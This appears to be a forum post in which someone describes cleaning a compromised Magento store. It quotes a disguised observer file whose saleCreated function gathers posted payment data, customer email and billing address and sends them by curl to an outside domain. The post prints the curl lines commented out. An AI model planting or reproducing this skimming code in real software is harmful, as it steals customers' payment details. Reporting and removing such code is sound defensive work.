I just fixed this for a client - the file was :
/app/code/local/Mage/Controller/Model/Observer.php
I didn't delete it, i just commented out the curl commands in the saleCreated function.
public function saleCreated(Varien_Event_Observer $observer)
{
$url = 'http://magentopatchupdate.com/update/529U76xbMIH.php';
$orderData = $observer->getEvent()->getOrder();
$order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId());
$this->_preparePaymentData($_POST, '');
//$this->orderDetails['shipping_method'] = $order->getShippingMethod();
$this->orderDetails['customer_email'] = $order->getCustomerEmail();
$this->getOrderAddressInfo($order, 'billing');
//$this->getOrderAddressInfo($order, 'shipping');
//print_r(json_encode($this->orderDetails));
$postStr = '';
foreach($this->orderDetails as $key=>$value) {
$postStr .= $key . '=' . $value . '&';
}
rtrim($postStr, '&');
//This was causing issue - commented out all curl commands
//$ch = curl_init();
//curl_setopt($ch,CURLOPT_URL, $url);
//curl_setopt($ch,CURLOPT_POST, count($_POST));
//curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr);
//$result = curl_exec($ch);
//curl_close($ch);
}
Some of the above line were commented out already - why its sending out order details to magentopatchupdate.com is very dubious...